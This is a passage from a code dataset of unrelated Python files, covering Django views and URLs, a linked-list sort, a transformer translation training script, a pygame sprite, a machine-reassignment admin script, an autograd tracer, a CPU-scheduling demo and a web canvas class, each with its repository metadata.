context)\n","repo_name":"mym1066/project-django","sub_path":"divar/app_dashboard/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1724,"program_lang":"python","lang":"fa","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"28230412616","text":"'''\nSort a linked list in O(n log n) time using constant space complexity.\n\nHave you met this question in a real interview? \nExample\nExample 1:\n\tInput: 1->3->2->null\n\tOutput: 1->2->3->null\n\nExample 2:\n\tInput: 1->7->2->6->null\n\tOutput: 1->2->6->7->null\n\t\nChallenge\nSolve it by merge sort & quick sort separately.\n'''\n\ndef load_src(name, fpath):\n import os\n import imp\n return imp.load_source(name, os.path.join(os.path.dirname(__file__), fpath))\n\nload_src(\"helper\", \"../helper.py\")\nfrom helper import ListNode, LinkedList, printList\n\n\"\"\"\nDefinition of ListNode\nclass ListNode(object):\n def __init__(self, val, next=None):\n self.val = val\n self.next = next\n\"\"\"\n\nclass Solution:\n \"\"\"\n @param head: The head of linked list.\n @return: You should return the head of the sorted linked list, using constant space complexity.\n \"\"\"\n\n def sortList(self, head):\n # write your code here\n if not head or not head.next:\n return head\n mid = self.get_mid(head)\n right = self.sortList(mid.next)\n mid.next = None\n left = self.sortList(head)\n return self.merge(left, right)\n\n def merge(self, left, right):\n dummy = ListNode(0)\n cur = dummy\n while left and right:\n if left.val < right.val:\n cur.next = left\n left = left.next\n else:\n cur.next = right\n right = right.next\n cur = cur.next\n while left:\n cur.next = left\n left = left.next\n cur = cur.next\n while right:\n cur.next = right\n right = right.next\n cur = cur.next\n return dummy.next\n\n def get_mid(self, head):\n if not head or not head.next:\n return head\n slow, fast = head, head.next\n while fast and fast.next:\n slow = slow.next \n fast = fast.next.next \n return slow\n\ns = Solution()\nhead = LinkedList([1, 3, 2]).head\nhead = s.sortList(head)\nprintList(head)\n\nhead = LinkedList([1, 7, 2, 6]).head\nhead = s.sortList(head)\nprintList(head)\n","repo_name":"zsmountain/lintcode","sub_path":"python/linked list/98_sort_list.py","file_name":"98_sort_list.py","file_ext":"py","file_size_in_byte":2140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8556018749","text":"import sys\nimport xlwt\nimport xlrd\n\nif __name__==\"__main__\":\n floor=[]\n with open(\"test.txt\",\"w\",encoding=\"GBK\") as wf1:\n for line in open(\"out.txt\"):\n string = \"\"\n item=line.strip(\"\\n,[,],\")\n b=item.split(\"),\")\n for k1 in b:\n k=k1.strip(\" \")\n if k[0] == \"n\" or k[0:4]==\"assm\":\n string=string+\" \"+k[k.find(\"(\")+1:k.find(\"-\")]\n wf1.write(string+\"\\n\")\n","repo_name":"h958661134/TextProcessing","sub_path":"语法树层级关系.py","file_name":"语法树层级关系.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"39664730875","text":"#!/usr/bin/env python3\n\nimport argparse\nimport torch\nimport torch.nn as nn\nfrom tokenizers import Tokenizer\nfrom decoder_model import DecoderOnlyTransformer, initialize_weights, count_parameters\nfrom dataset import IWSLT\nfrom training import train, evaluate\nfrom torch.utils.data import DataLoader\nimport matplotlib.pyplot as plt\nimport time\nimport math\n\n\ndef epoch_time(start_time, end_time):\n \"\"\"\n Compute the time it takes for one epoch.\n \"\"\"\n time = end_time - start_time\n mins = int(time / 60)\n secs = int(time - (mins * 60))\n return mins, secs\n\n\ndef main():\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n print(f\"device: {device}\")\n\n # parameters\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--max_sent_len\", default=128, type=float,\n help=\"Maximum character length of source/target sentence.\")\n parser.add_argument(\"--seq_len\", default=257, type=int,\n help=\"Maximum total input sequence length after tokenization, sequences shorter will be padded.\")\n parser.add_argument(\"--d_model\", default=256, type=int,\n help=\"The size of the hidden dimension.\")\n parser.add_argument(\"--ff_dim\", default=1024, type=int,\n help=\"The dimension of the feed-forward network.\")\n parser.add_argument(\"--n_heads\", default=8, type=int,\n help=\"The number of heads in the multi-headed attention.\")\n parser.add_argument(\"--n_layers\", default=9, type=int,\n help=\"The number of decoder layers.\")\n parser.add_argument(\"--dropout\", default=0.1, type=float, \n help=\"The dropout value.\")\n parser.add_argument(\"--learning_rate\", default=0.00005, type=float,\n help=\"The learning rate.\")\n parser.add_argument(\"--batch_size\", default=32, type=int,\n help=\"Batch size for training/evaluation.\")\n parser.add_argument(\"--n_epochs\", default=50, type=int,\n help=\"Number of training epochs to perform.\")\n args = parser.parse_args()\n\n tokenizer = Tokenizer.from_file(\"tokenizer/tokenizer_en_de.json\")\n\n vocab_size = tokenizer.get_vocab_size() # the size of the vocabulary\n pad_index = tokenizer.token_to_id(\"[PAD]\") # index of the padding token '[PAD]'\n\n print(\"Preparing dataset...\")\n\n training = \"train.de-en\"\n validation = \"IWSLT15.TEDX.dev2012.de-en\"\n test = \"IWSLT15.TED.tst2012.de-en\"\n\n train_set = IWSLT(training, tokenizer, max_length=args.max_sent_len)\n validation_set = IWSLT(validation, tokenizer, max_length=args.max_sent_len)\n test_set = IWSLT(test, tokenizer, max_length=args.max_sent_len)\n\n print(\"data length: \\n\",\n f\"length train_set: {len(train_set.de_en)} \\n\",\n f\"length validation_set: {len(validation_set.de_en)} \\n\",\n f\"length test_set: {len(test_set.de_en)}\")\n\n print(\"Instantiating DecoderOnlyTransformer...\")\n\n model = DecoderOnlyTransformer(pad_index, vocab_size, args.d_model, args.seq_len,\n args.n_heads, args.n_layers, args.ff_dim, args.dropout).to(device)\n model.apply(initialize_weights)\n model.to(device)\n print(f\"Model has {count_parameters(model):,} trainable parameters\")\n\n optimizer = torch.optim.Adam(model.parameters(), lr=args.learning_rate)\n criterion = nn.CrossEntropyLoss(ignore_index=pad_index)\n criterion.to(device)\n \n if torch.cuda.is_available(): \n n_workers = 4\n else:\n n_workers = 0\n\n train_loader = DataLoader(\n train_set, batch_size=args.batch_size, num_workers=n_workers, pin_memory=True)\n valid_loader = DataLoader(\n validation_set, batch_size=args.batch_size, num_workers=n_workers, pin_memory=True)\n\n print(\"Training...\")\n\n best_valid_loss = float('inf')\n\n all_train_loss = []\n all_valid_loss = []\n\n for epoch in range(args.n_epochs):\n\n start_time = time.time()\n\n train_loss = train(model, train_loader, optimizer, criterion, 1, device)\n all_train_loss.append(train_loss)\n valid_loss = evaluate(model, valid_loader, criterion, device)\n all_valid_loss.append(valid_loss)\n\n end_time = time.time()\n\n epoch_mins, epoch_secs = epoch_time(start_time, end_time)\n\n if valid_loss < best_valid_loss:\n best_valid_loss = valid_loss\n print(\"Saving trained model...\")\n torch.save(model.state_dict(), 'model.pt')\n \n # plot train and validation loss\n plt.plot(all_train_loss, label='Training loss')\n plt.plot(all_valid_loss, label='Validation loss')\n plt.legend()\n plt.grid(True)\n plt.xlabel('epoch')\n plt.ylabel('loss')\n plt.savefig('losses_model.jpg')\n plt.close()\n\n print(f'Epoch: {epoch+1} | Time: {epoch_mins}m {epoch_secs}s')\n print(f'\\tTrain Loss: {train_loss:.3f} , PPL : {math.exp(train_loss):7.3f}')\n print(f'\\t Val. Loss: {valid_loss:.3f} , PPL : {math.exp(valid_loss):7.3f}')\n\n print(\"Training finished\")\n\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"selinalzl/Decoder-Only-Transformer-NMT","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18943989062","text":"import pygame\nimport random\n\nfrom miner.constants import RESOURCE_MAX_W, RESOURCE_MAX_H, \\\n RESOURCE_COLORS, MOVEMENT_SPEED\n\n\nclass ResourceSprite(pygame.sprite.Sprite):\n def __init__(self, x, y):\n pygame.sprite.Sprite.__init__(self)\n\n w = random.randint(5, RESOURCE_MAX_W)\n h = random.randint(4, RESOURCE_MAX_H)\n self.image = pygame.Surface([w, h])\n\n # random color\n color = random.randint(0, len(RESOURCE_COLORS) - 1)\n self.image.fill(RESOURCE_COLORS[color])\n\n self.rect = self.image.get_rect()\n self.rect.x = x\n self.rect.y = y\n\n self.xVel = 0\n self.yVel = 0\n\n self.onGround = False\n\n def draw(self, surface):\n surface.blit(self.image, self.rect)\n\n def update(self):\n ''' THIS IS UNUSED - SEE engine.py'''\n\n # handle gravity (assume it's not on ground)\n self.onGround = False\n if not self.onGround:\n self.yVel = 1\n\n self.rect.y += self.yVel\n","repo_name":"marcusmoller/pyweek17-miner","sub_path":"miner/gameresource.py","file_name":"gameresource.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"42145739480","text":"import os \nimport time\nimport subprocess\nimport sys\n\nmachine_name = 'BN1AAP7051060C4'\n#machine_name = 'BN1AAP6FD7FE1A3'\nap_tool_path = 'D:\\\\app\\\\APTools.ap_08_13_10_8_5005_3828\\\\'\nget_machine_info_command = 'dmclient -c \\\"GetMachineInfo -m {0}\\\"'\nreassign_command = 'manualrepair -a reassign -r \"reassign\" -m {0} -l'\n\nlower_bound = 'PODBN2SCH05048'\nupper_bound = 'PODBN2SCH05059'\n\ndef main():\n\ttotal = 0\n\twhile 1:\n\t\tcommand = ap_tool_path + get_machine_info_command.format(machine_name)\n\t\tprint (command)\n\t\trc,out = subprocess.getstatusoutput(command)\n\t\tout = out.split(\"\\n\\n\")\n\t\tout = out[2].split(\",\")\n\t\tpod = out[1][:14]\n\t\tif pod >= lower_bound and pod <= upper_bound:\n\t\t\tprint(\"Pod {} for {} is in maintenance after {} times reassignment, start new round...\".format(pod, machine_name, total))\n\t\telse:\n\t\t\tprint(\"Pod {} for {} is available after {} times reassignment, exiting...\".format(pod, machine_name, total))\n\t\t\tbreak\n\t\tcommand = ap_tool_path + reassign_command.format(machine_name)\t\n\t\tprint (command)\n\t\trc,out = subprocess.getstatusoutput(command)\n\t\tprint (out)\n\n\t\ttotal += 1\n\t\ttime.sleep(1800)\n\n#\tdata = sys.stdin.readlines()\n\nif __name__ == '__main__':\n\tmain()","repo_name":"minkefusiji/tools","sub_path":"Python/AP Reassign Machine/reassign.py","file_name":"reassign.py","file_ext":"py","file_size_in_byte":1174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20833265004","text":"#-*-coding:utf-8-*-\n#/usr/bin/env python\n__author__ = \"Allan\"\nimport threading\nimport time\n\nglobals_num = 0\n\nlock = threading.RLock()\n\n\ndef Func():\n lock.acquire() # 获得锁\n global globals_num\n globals_num += 1\n time.sleep(1)\n print(globals_num)\n lock.release() # 释放锁\n\n\nfor i in range(10):\n t = threading.Thread(target=Func)\n t.start()","repo_name":"nurruden/training","sub_path":"day11/threading_lock.py","file_name":"threading_lock.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11872011429","text":"import os\nimport sys\nimport math\nimport json\nimport torch\nimport logging\nimport numpy as np\nimport torch.nn as nn\n\nfrom exploring_exploration.arguments import get_args\nfrom exploring_exploration.envs import (\n make_vec_envs_avd,\n make_vec_envs_habitat,\n)\nfrom exploring_exploration.models import RGBEncoder, MapRGBEncoder, Policy\nfrom exploring_exploration.models.pose_estimation import (\n RetrievalNetwork,\n PairwisePosePredictor,\n ViewLocalizer,\n)\nfrom exploring_exploration.utils.pose_estimation import (\n get_pose_criterion,\n get_pose_label_shape,\n get_gaussian_kernel,\n)\nfrom exploring_exploration.utils.eval import evaluate_pose\n\nargs = get_args()\n\ntorch.manual_seed(args.seed)\nif args.cuda:\n torch.cuda.manual_seed(args.seed)\n\ntry:\n os.makedirs(args.log_dir)\nexcept OSError:\n pass\n\neval_log_dir = os.path.join(args.log_dir, \"monitor\")\n\ntry:\n os.makedirs(eval_log_dir)\nexcept OSError:\n pass\n\n\ndef main():\n torch.set_num_threads(1)\n device = torch.device(\"cuda:0\" if args.cuda else \"cpu\")\n ndevices = torch.cuda.device_count()\n args.map_shape = (1, args.map_size, args.map_size)\n # Setup loggers\n logging.basicConfig(filename=f\"{args.log_dir}/eval_log.txt\", level=logging.DEBUG)\n logging.getLogger().addHandler(logging.StreamHandler(sys.stdout))\n logging.getLogger().setLevel(logging.INFO)\n\n args.feat_shape_sim = (512,)\n args.feat_shape_pose = (512 * 9,)\n args.odometer_shape = (4,) # (delta_y, delta_x, delta_head, delta_elev)\n args.match_thresh = 0.95\n args.requires_policy = args.actor_type not in [\n \"random\",\n \"oracle\",\n \"forward\",\n \"forward-plus\",\n \"frontier\",\n ]\n if \"habitat\" in args.env_name:\n if \"CUDA_VISIBLE_DEVICES\" in os.environ:\n devices = [\n int(dev) for dev in os.environ[\"CUDA_VISIBLE_DEVICES\"].split(\",\")\n ]\n # Devices need to be indexed between 0 to N-1\n devices = [dev for dev in range(len(devices))]\n else:\n devices = None\n eval_envs = make_vec_envs_habitat(\n args.habitat_config_file,\n device,\n devices,\n enable_odometry_noise=args.enable_odometry_noise,\n odometer_noise_scaling=args.odometer_noise_scaling,\n measure_noise_free_area=args.measure_noise_free_area,\n )\n if args.actor_type == \"frontier\":\n large_map_range = 100.0\n H = eval_envs.observation_space.spaces[\"highres_coarse_occupancy\"].shape[1]\n args.occ_map_scale = 0.1 * (2 * large_map_range + 1) / H\n else:\n eval_envs = make_vec_envs_avd(\n args.env_name,\n 123 + args.num_processes,\n args.num_processes,\n eval_log_dir,\n device,\n True,\n split=args.eval_split,\n nRef=args.num_pose_refs,\n set_return_topdown_map=True,\n )\n if args.actor_type == \"frontier\":\n large_map_range = 100.0\n H = eval_envs.observation_space.spaces[\"highres_coarse_occupancy\"].shape[0]\n args.occ_map_scale = 50.0 * (2 * large_map_range + 1) / H\n args.obs_shape = eval_envs.observation_space.spaces[\"im\"].shape\n args.angles = torch.Tensor(np.radians(np.linspace(180, -150, 12))).to(device)\n args.bin_size = math.radians(31)\n\n # =================== Create models ====================\n rnet = RetrievalNetwork()\n posenet = PairwisePosePredictor(\n use_classification=args.use_classification, num_classes=args.num_classes\n )\n pose_head = ViewLocalizer(args.map_scale)\n if args.requires_policy:\n encoder = RGBEncoder() if args.encoder_type == \"rgb\" else MapRGBEncoder()\n action_config = (\n {\n \"nactions\": eval_envs.action_space.n,\n \"embedding_size\": args.action_embedding_size,\n }\n if args.use_action_embedding\n else None\n )\n collision_config = (\n {\"collision_dim\": 2, \"embedding_size\": args.collision_embedding_size}\n if args.use_collision_embedding\n else None\n )\n actor_critic = Policy(\n eval_envs.action_space,\n base_kwargs={\n \"feat_dim\": args.feat_shape_sim[0],\n \"recurrent\": True,\n \"hidden_size\": args.feat_shape_sim[0],\n \"action_config\": action_config,\n \"collision_config\": collision_config,\n },\n )\n # =================== Load models ====================\n rnet_state = torch.load(args.pretrained_rnet)[\"state_dict\"]\n rnet.load_state_dict(rnet_state)\n posenet_state = torch.load(args.pretrained_posenet)[\"state_dict\"]\n posenet.load_state_dict(posenet_state)\n rnet.to(device)\n posenet.to(device)\n pose_head.to(device)\n rnet.eval()\n posenet.eval()\n pose_head.eval()\n if args.requires_policy:\n encoder_state, actor_critic_state = torch.load(args.load_path)[:2]\n encoder.load_state_dict(encoder_state)\n actor_critic.load_state_dict(actor_critic_state)\n actor_critic.to(device)\n encoder.to(device)\n actor_critic.eval()\n encoder.eval()\n if args.use_multi_gpu:\n rnet.compare = nn.DataParallel(rnet.compare)\n rnet.feat_extract = nn.DataParallel(rnet.feat_extract)\n posenet.compare = nn.DataParallel(posenet.compare)\n posenet.feat_extract = nn.DataParallel(posenet.feat_extract)\n posenet.predict_depth = nn.DataParallel(posenet.predict_depth)\n posenet.predict_baseline = nn.DataParallel(posenet.predict_baseline)\n posenet.predict_baseline_sign = nn.DataParallel(posenet.predict_baseline_sign)\n\n # =================== Define pose criterion ====================\n args.pose_loss_fn = get_pose_criterion()\n lab_shape = get_pose_label_shape()\n gaussian_kernel = get_gaussian_kernel(\n kernel_size=args.vote_kernel_size, sigma=0.5, channels=1\n )\n\n eval_config = {}\n eval_config[\"num_steps\"] = args.num_steps\n eval_config[\"num_processes\"] = args.num_processes\n eval_config[\"obs_shape\"] = args.obs_shape\n eval_config[\"feat_shape_sim\"] = args.feat_shape_sim\n eval_config[\"feat_shape_pose\"] = args.feat_shape_pose\n eval_config[\"odometer_shape\"] = args.odometer_shape\n eval_config[\"lab_shape\"] = lab_shape\n eval_config[\"map_shape\"] = args.map_shape\n eval_config[\"map_scale\"] = args.map_scale\n eval_config[\"angles\"] = args.angles\n eval_config[\"bin_size\"] = args.bin_size\n eval_config[\"gaussian_kernel\"] = gaussian_kernel\n eval_config[\"match_thresh\"] = args.match_thresh\n eval_config[\"pose_loss_fn\"] = args.pose_loss_fn\n eval_config[\"num_eval_episodes\"] = args.eval_episodes\n eval_config[\"num_pose_refs\"] = args.num_pose_refs\n eval_config[\"median_filter_size\"] = 3\n eval_config[\"vote_kernel_size\"] = args.vote_kernel_size\n eval_config[\"env_name\"] = args.env_name\n eval_config[\"actor_type\"] = args.actor_type\n eval_config[\"pose_predictor_type\"] = args.pose_predictor_type\n eval_config[\"encoder_type\"] = args.encoder_type\n eval_config[\"ransac_n\"] = args.ransac_n\n eval_config[\"ransac_niter\"] = args.ransac_niter\n eval_config[\"ransac_batch\"] = args.ransac_batch\n eval_config[\"use_action_embedding\"] = args.use_action_embedding\n eval_config[\"use_collision_embedding\"] = args.use_collision_embedding\n eval_config[\"vis_save_dir\"] = os.path.join(args.log_dir, \"visualizations\")\n eval_config[\"final_topdown_save_path\"] = os.path.join(\n args.log_dir, \"top_down_maps.h5\"\n )\n eval_config[\"forward_action_id\"] = 2 if \"avd\" in args.env_name else 0\n eval_config[\"turn_action_id\"] = 0 if \"avd\" in args.env_name else 1\n eval_config[\"input_highres\"] = args.input_highres\n if args.actor_type == \"frontier\":\n eval_config[\"occ_map_scale\"] = args.occ_map_scale\n eval_config[\"frontier_dilate_occ\"] = args.frontier_dilate_occ\n eval_config[\"max_time_per_target\"] = args.max_time_per_target\n\n models = {}\n models[\"rnet\"] = rnet\n models[\"posenet\"] = posenet\n models[\"pose_head\"] = pose_head\n if args.requires_policy:\n models[\"actor_critic\"] = actor_critic\n models[\"encoder\"] = encoder\n\n metrics, per_episode_metrics = evaluate_pose(\n models,\n eval_envs,\n eval_config,\n device,\n multi_step=True,\n interval_steps=args.interval_steps,\n visualize_policy=args.visualize_policy,\n visualize_size=args.visualize_size,\n visualize_batches=args.visualize_batches,\n visualize_n_per_batch=args.visualize_n_per_batch,\n )\n\n json.dump(\n per_episode_metrics, open(os.path.join(args.log_dir, \"statistics.json\"), \"w\")\n )\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"facebookresearch/exploring_exploration","sub_path":"evaluate_pose_estimation.py","file_name":"evaluate_pose_estimation.py","file_ext":"py","file_size_in_byte":8838,"program_lang":"python","lang":"en","doc_type":"code","stars":60,"dataset":"github-code","pt":"21"} +{"seq_id":"13208212434","text":"from contextlib import contextmanager\nfrom .graphunit import Container, Node\n\n\ndef forward(start_node, fun, x):\n with trace_stack.new_trace() as trace_id:\n # Wrap 'x_value' in a container.\n start_container = Container.new_container(x, trace_id, start_node)\n end_container = fun(start_container)\n if type(\n end_container\n ) in Container.types and end_container._trace_id == start_container._trace_id:\n return end_container._value, end_container._node\n else:\n return end_container, None\n\n\ndef func_wrapper(f_raw):\n \"\"\"\n Wraps a function so that its vjp can be specified and its invocation can be recorded.\n Essentially this behaves just like the decorator\n :return: the wrapped function object\n \"\"\"\n def func_wrapped(*args, **kwargs):\n \"\"\"Graph is constructed here\n 1. unwrap data and func\n 2. ans = func(data)\n 3. rewrap them into container\n \"\"\"\n\n inside_args, trace_id = find_insider_args(args)\n if inside_args:\n x_ = list(args)\n for i, v in [(argnum, box._value) for argnum, box in inside_args]:\n x_[i] = v\n argvals = tuple(x_)\n parents = tuple(box._node for _, box in inside_args)\n argnums = tuple(argnum for argnum, _ in inside_args)\n ans = func_wrapped(*argvals, **kwargs)\n node = Node(ans, func_wrapped, argvals, kwargs, argnums, parents)\n return Container.new_container(ans, trace_id, node)\n else:\n return f_raw(*args, **kwargs)\n\n func_wrapped.__doc__ = 'name: ' + f_raw.__name__\n return func_wrapped\n\n\ndef notracefunc_wrapper(f_raw):\n \"\"\"\n Mainly used for wrap non-diff function.\n :return: the wrapped function object\n \"\"\"\n def func_wrapped(*args, **kwargs):\n \"\"\"\n :return: result are not in the container, so it's not in graph neither.\n \"\"\"\n argvals = map(lambda x: x._value\n if type(x) in Container.types else x, args)\n return f_raw(*argvals, **kwargs)\n\n func_wrapped.__doc__ = 'name: ' + f_raw.__name__\n return func_wrapped\n\n\ndef find_insider_args(args):\n top_trace_id = -1\n top_containers = []\n for argnum, arg in enumerate(args):\n if type(arg) in Container.types:\n if arg._trace_id > top_trace_id:\n top_containers = [(argnum, arg)]\n top_trace_id = arg._trace_id\n elif arg._trace_id == top_trace_id:\n top_containers.append((argnum, arg))\n return top_containers, top_trace_id\n\n\nclass TraceStack(object):\n \"\"\"\n Tracks orders of multi-order diff has been called.\n \"\"\"\n def __init__(self):\n self.top = -1\n\n @contextmanager\n def new_trace(self):\n self.top += 1\n yield self.top\n self.top -= 1\n\n\ntrace_stack = TraceStack()\n","repo_name":"jing-bi/Automatic-Differentiation","sub_path":"autograd/inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":2912,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"38208200875","text":"from django.urls import path\nfrom app01.views import depart,user,pretty,admin,account\nurlpatterns = [\n #部门管理\n path('depart/list/',depart.depart_list),\n path('depart/add/',depart.depart_add),\n path('depart/delete/',depart.depart_delete),\n #http://127.0.0.1:8000/depart/3/edit/\n path('depart//edit/',depart.depart_edit),\n\n #用户管理\n path('user/list/',user.user_list),\n path('user/add/',user.user_add),\n\n\n #ModelForm\n path('user/model/form/add',user.user_model_form_add),\n path('user//edit/',user.user_edit),\n path('user//delete/',user.user_delete),\n\n\n # 靓号管理\n path('pretty_num/list/',pretty.pretty_num_list),\n path('pretty_num/add/',pretty.pretty_num_add),\n path('pretty//edit/',pretty.pretty_num_edit),\n path('pretty//delete/',pretty.pretty_num_delete),\n\n # 管理员管理\n path('admin/list/',admin.admin_list),\n path('admin/add/',admin.admin_add),\n path('admin//edit/',admin.admin_edit),\n path('admin//delete/',admin.admin_delete),\n path('admin//reset/',admin.admin_reset),\n\n # 登录界面\n path('login/',account.login),\n path('logout/',account.logout),\n\n\n]\n","repo_name":"CHENSOLO/staffsystem","sub_path":"staffsystem/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25016099157","text":"import json\n\n\ndef run():\n # Read fighters json file\n with open('bjj_fighters.json') as f:\n fighters = json.load(f)\n \n # Create set of all fighter id's\n fighter_ids = {fighter['id'] for fighter in fighters}\n \n # Count number removed\n num_removed = 0\n\n # Go through each fighter\n for fighter in fighters:\n # Get their fight history\n history = fighter['history']\n\n # Go through each fight backwards to remove while iterating\n for i in range(len(history) - 1, -1, -1):\n # Get the fight\n fight = history[i]\n \n # Remove fight from history if opponent does not have a fight history\n if fight['opponent_id'] not in fighter_ids:\n history.remove(fight)\n num_removed += 1\n print(\"Removed: \" + fight['opponent_id'] + \", \" + fight['opponent_name'])\n\n # Log number removed\n print(str(num_removed) + \" fights removed\")\n\n # Update file if there were removals\n if num_removed > 0:\n with open('bjj_fighters.json', 'w') as f:\n json.dump(fighters, f)\n\n\n# Cleans history\nif __name__ == '__main__':\n run()\n","repo_name":"ryantran2165/bjj-predictor","sub_path":"scripts/clean_history.py","file_name":"clean_history.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38267596076","text":"class Process:\n def __init__(self, pid, arrival_time, burst_time):\n self.pid = pid\n self.arrival_time = arrival_time\n self.burst_time = burst_time\n self.completion_time = None\n self.turnaround_time = None\n self.waiting_time = None\n \n def __str__(self):\n return f\"Process({self.pid}, {self.arrival_time}, {self.burst_time})\"\n\ndef sjf(processes):\n # Sort processes by arrival time and burst time\n processes = sorted(processes, key=lambda p: (p.arrival_time, p.burst_time))\n \n # Initialize variables\n current_time = 0\n total_waiting_time = 0\n num_processes = len(processes)\n completed_processes = []\n \n while len(completed_processes) < num_processes:\n # Check for processes that have arrived\n ready_processes = [p for p in processes if p.arrival_time <= current_time and p not in completed_processes]\n \n if not ready_processes:\n current_time += 1\n continue\n \n # Get the process with the shortest burst time\n next_process = min(ready_processes, key=lambda p: p.burst_time)\n next_process.waiting_time = current_time - next_process.arrival_time\n next_process.completion_time = current_time + next_process.burst_time\n next_process.turnaround_time = next_process.completion_time - next_process.arrival_time\n \n # Update variables\n completed_processes.append(next_process)\n total_waiting_time += next_process.waiting_time\n current_time = next_process.completion_time\n \n # Calculate average waiting time\n average_waiting_time = total_waiting_time / num_processes\n \n return completed_processes, average_waiting_time\n\n# Example usage:\nprocesses = [\n Process(1, 0, 5),\n Process(2, 1, 2),\n Process(3, 2, 1),\n Process(4, 3, 4),\n Process(5, 4, 3)\n]\n\ncompleted_processes, average_waiting_time = sjf(processes)\n\n# Print results\nprint(\"Completed Processes:\")\nfor process in completed_processes:\n print(f\"PID: {process.pid}, Arrival Time: {process.arrival_time}, Burst Time: {process.burst_time}, \"\n f\"Completion Time: {process.completion_time}, Turnaround Time: {process.turnaround_time}, \"\n f\"Waiting Time: {process.waiting_time}\")\nprint(f\"Average Waiting Time: {average_waiting_time}\")\n\n# Completed Processes:\n# PID: 1, Arrival Time: 0, Burst Time: 5, Completion Time: 5, Turnaround Time: 5, Waiting Time: 0\n# PID: 3, Arrival Time: 2, Burst Time: 1, Completion Time: 6, Turnaround Time: 4, Waiting Time: 3\n# PID: 2, Arrival Time: 1, Burst Time: 2, Completion Time: 8, Turnaround Time: 7, Waiting Time: 5\n# PID: 5, Arrival Time: 4, Burst Time: 3, Completion Time: 11, Turnaround Time: 7, Waiting Time: 4\n# PID: 4, Arrival Time: 3, Burst Time: 4, Completion Time: 15, Turnaround Time: 12, Waiting Time: 8\n# Average Waiting Time: 4.0\n","repo_name":"dauspairet/SO_Scheduling-Algorithm","sub_path":"sjf/non-preemptive/non-preemptive.py","file_name":"non-preemptive.py","file_ext":"py","file_size_in_byte":2887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"39903446944","text":"from casymda.visualization.canvas.scaled_canvas import ScaledCanvas\n\nANCHOR_DICT = {\n \"c\": [0.5, 0.5],\n \"nw\": [0, 0],\n \"n\": [0.5, 0],\n \"ne\": [1, 0],\n \"e\": [1, 0.5],\n \"se\": [1, 1],\n \"s\": [0.5, 1],\n \"sw\": [0, 1],\n \"w\": [0, 0.5],\n}\n\nUPDATED_KEY = \"__UPDATED__\"\n\n\nclass WebCanvas(ScaledCanvas):\n \"\"\"\n json-serializable flat dictionary canvas (implements the scaled canvas).\n dictionary is flat so that it can be shared between multiple processes,\n e.g. when writing to the canvas from the simulation, and consuming the information from a browser via a web-server.\n \"\"\"\n\n def __init__(self, dictionary, width, height, scale=1.0):\n super().__init__(scale)\n self.dict = dictionary\n self.width = width\n self.height = height\n\n self.photo_lookup = {}\n\n self.element_id_counter = 0\n\n self.dict[UPDATED_KEY] = set() # set of all updated element_ids\n\n def load_image_file(self, path):\n potential_key = path\n if potential_key in self.photo_lookup:\n return self.photo_lookup[potential_key]\n self.element_id_counter += 1\n self.dict[self.element_id_counter] = {\n \"factor\": self.scale,\n \"path\": path,\n \"type\": \"photo\",\n }\n self.update_updated(self.element_id_counter)\n self.photo_lookup[potential_key] = self.element_id_counter\n return self.element_id_counter\n\n def create_image(self, x_coord, y_coord, image_file, anchor=\"c\"):\n x_coord, y_coord = self._scale_coords((x_coord, y_coord))\n self.element_id_counter += 1\n self.dict[self.element_id_counter] = {\n \"x\": x_coord,\n \"y\": y_coord,\n \"anchor\": ANCHOR_DICT[anchor],\n \"type\": \"image\",\n \"photo_id\": image_file,\n \"path\": self.dict[image_file][\"path\"],\n \"factor\": self.dict[image_file][\"factor\"],\n }\n self.update_updated(self.element_id_counter)\n return self.element_id_counter\n\n def create_text(\n self, x_coord, y_coord, text=\"\", anchor=\"se\", fill=\"black\", font=\"Helvetica 16\"\n ):\n x_coord, y_coord = self._scale_coords((x_coord, y_coord))\n self.element_id_counter += 1\n self.dict[self.element_id_counter] = {\n \"x\": x_coord,\n \"y\": y_coord,\n \"anchor\": ANCHOR_DICT[anchor],\n \"type\": \"text\",\n \"text\": text,\n \"fill\": fill,\n \"font_family\": font.split(\" \")[0],\n \"font_size\": int(font.split(\" \")[1]),\n }\n self.update_updated(self.element_id_counter)\n return self.element_id_counter\n\n def delete(self, element_id):\n if element_id in self.dict:\n del self.dict[element_id]\n return True\n return False\n\n def set_coords(self, element_id, x_y):\n x_coord, y_coord = self._scale_coords(x_y)\n if element_id in self.dict:\n entry = self.dict[element_id]\n entry[\"x\"] = x_coord\n entry[\"y\"] = y_coord\n self.dict[element_id] = entry\n self.update_updated(element_id)\n return True\n return False\n\n def set_text_value(self, element_id, text=\"\"):\n if element_id in self.dict:\n entry = self.dict[element_id]\n entry[\"text\"] = text\n self.dict[element_id] = entry\n self.update_updated(element_id)\n return True\n return False\n\n def get_width(self):\n return self.width\n\n def get_height(self):\n return self.height\n\n def update_updated(self, id: int):\n updated_set = 